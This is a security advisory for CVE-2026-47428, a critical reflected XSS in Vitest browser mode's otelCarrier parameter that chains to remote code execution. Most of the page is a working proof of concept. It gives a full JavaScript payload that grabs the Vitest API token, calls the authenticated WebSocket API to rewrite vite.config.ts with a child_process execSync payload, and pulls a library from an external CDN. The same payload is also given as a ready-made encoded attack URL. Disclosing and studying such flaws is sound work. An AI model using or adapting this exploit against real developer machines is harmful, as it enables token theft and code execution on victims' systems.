PT-2026-45491 · Npm · @Vitest/Browser
Published
2026-06-01
·
Updated
2026-06-01
·
CVE-2026-47428
CVSS v3.1
9.6
Critical
| Vector | AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
Summary
Vitest browser mode served
/ vitest test / with the otelCarrier query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin.The same generated page embeds
VITEST API TOKEN, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls.Impact
This issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running.
In the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into
vite.config.ts. Vitest/Vite then reloaded the config, executing the injected config code in Node.This is related in impact to GHSA-9crc-q9x8-hgqq: that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs.
Proof of Concept
XSS
For a concrete reproduction, start browser mode in watch mode using the official Lit example:
pnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc
cd vitest-poc
pnpm install
pnpm test
By default, Vitest serves the browser runner HTML and WebSocket API at
http://localhost:63315.Open the following URL:
http://localhost:63315/ vitest test /?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull)
The
otelCarrier query value is inserted into the generated inline module script as JavaScript source:otelCarrier: (alert("xss via otelCarrier"),null),
Loading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin.
RCE via config write
A full local RCE proof can use the same injection point to recover
window.VITEST API TOKEN, connect to / vitest browser api , and call triggerCommand("writeFile", ...) to modify the local vite.config.ts.The PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node.
This PoC imports
flatted from a CDN to keep the payload compact.Example script and encoded URL
(setTimeout(async()=>{
const s = window. vitest browser runner
const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/flatted@3.3.2/+esm')
const p = location.protocol === 'https:' ? 'wss:' : 'ws:'
const q = 'type=orchestrator&rpcId=poc-' + Date.now()
+ '&sessionId=' + encodeURIComponent(s.sessionId)
+ '&projectName=' + encodeURIComponent(s.config.name || '')
+ '&method=' + encodeURIComponent(s.method)
+ '&token=' + encodeURIComponent(window.VITEST API TOKEN || '0')
const ws = new WebSocket(p + '//' + location.host + '/ vitest browser api ?' + q)
const pending = new Map()
function call(m, a = []) {
const i = crypto.randomUUID()
ws.send(stringify({ t: 'q', i, m, a }))
return new Promise((resolve, reject) => {
pending.set(i, { resolve, reject })
})
}
ws.onmessage = (event) => {
const message = parse(event.data)
const promise = pending.get(message.i)
if (!promise) {
return
}
pending.delete(message.i)
if (message.e) {
promise.reject(message.e)
}
else {
promise.resolve(message.r)
}
}
ws.onopen = async () => {
const configPath = 'vite.config.ts'
const original = await call('triggerCommand', [
s.sessionId,
'readFile',
configPath,
[configPath, 'utf-8'],
])
const injected = `
import("node:child process").then(lib => {
lib.execSync('touch ./rce-poc')
console.log('RCE success')
})
`
await call('triggerCommand', [
s.sessionId,
'writeFile',
configPath,
[configPath, injected + original],
])
alert('POC: vite.config.ts modified to trigger RCE on config reload')
}
ws.onerror = () => alert('POC: browser api websocket failed')
},0),null)
The following URL is the same script encoded as the
otelCarrier query value:http://localhost:63315/ vitest test /?otelCarrier=(setTimeout(async()%3D%3E%7B%0A%20%20const%20s%20%3D%20window. vitest browser runner %0A%20%20const%20%7B%20stringify%2C%20parse%20%7D%20%3D%20await%20import('https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2Fflatted%403.3.2%2F%2Besm')%0A%20%20const%20p%20%3D%20location.protocol%20%3D%3D%3D%20'https%3A'%20%3F%20'wss%3A'%20%3A%20'ws%3A'%0A%20%20const%20q%20%3D%20'type%3Dorchestrator%26rpcId%3Dpoc-'%20%2B%20Date.now()%0A%20%20%20%20%2B%20'%26sessionId%3D'%20%2B%20encodeURIComponent(s.sessionId)%0A%20%20%20%20%2B%20'%26projectName%3D'%20%2B%20encodeURIComponent(s.config.name%20%7C%7C%20'')%0A%20%20%20%20%2B%20'%26method%3D'%20%2B%20encodeURIComponent(s.method)%0A%20%20%20%20%2B%20'%26token%3D'%20%2B%20encodeURIComponent(window.VITEST API TOKEN%20%7C%7C%20'0')%0A%0A%20%20const%20ws%20%3D%20new%20WebSocket(p%20%2B%20'%2F%2F'%20%2B%20location.host%20%2B%20'%2F vitest browser api %3F'%20%2B%20q)%0A%20%20const%20pending%20%3D%20new%20Map()%0A%0A%20%20function%20call(m%2C%20a%20%3D%20%5B%5D)%20%7B%0A%20%20%20%20const%20i%20%3D%20crypto.randomUUID()%0A%20%20%20%20ws.send(stringify(%7B%20t%3A%20'q'%2C%20i%2C%20m%2C%20a%20%7D))%0A%20%20%20%20return%20new%20Promise((resolve%2C%20reject)%20%3D%3E%20%7B%0A%20%20%20%20%20%20pending.set(i%2C%20%7B%20resolve%2C%20reject%20%7D)%0A%20%20%20%20%7D)%0A%20%20%7D%0A%0A%20%20ws.onmessage%20%3D%20(event)%20%3D%3E%20%7B%0A%20%20%20%20const%20message%20%3D%20parse(event.data)%0A%20%20%20%20const%20promise%20%3D%20pending.get(message.i)%0A%20%20%20%20if%20(!promise)%20%7B%0A%20%20%20%20%20%20return%0A%20%20%20%20%7D%0A%20%20%20%20pending.delete(message.i)%0A%20%20%20%20if%20(message.e)%20%7B%0A%20%20%20%20%20%20promise.reject(message.e)%0A%20%20%20%20%7D%0A%20%20%20%20else%20%7B%0A%20%20%20%20%20%20promise.resolve(message.r)%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20ws.onopen%20%3D%20async%20()%20%3D%3E%20%7B%0A%20%20%20%20const%20configPath%20%3D%20'vite.config.ts'%0A%20%20%20%20const%20original%20%3D%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'readFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20'utf-8'%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20const%20injected%20%3D%20%60%0Aimport(%22node%3Achild process%22).then(lib%20%3D%3E%20%7B%0A%20%20lib.execSync('touch%20.%2Frce-poc')%0A%20%20console.log('RCE%20success')%0A%7D)%0A%60%0A%20%20%20%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'writeFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20injected%20%2B%20original%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20alert('POC%3A%20vite.config.ts%20modified%20to%20trigger%20RCE%20on%20config%20reload')%0A%20%20%7D%0A%0A%20%20ws.onerror%20%3D%20()%20%3D%3E%20alert('POC%3A%20browser%20api%20websocket%20failed')%0A%7D%2C0)%2Cnull)
Fix
XSS
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
@Vitest/Browser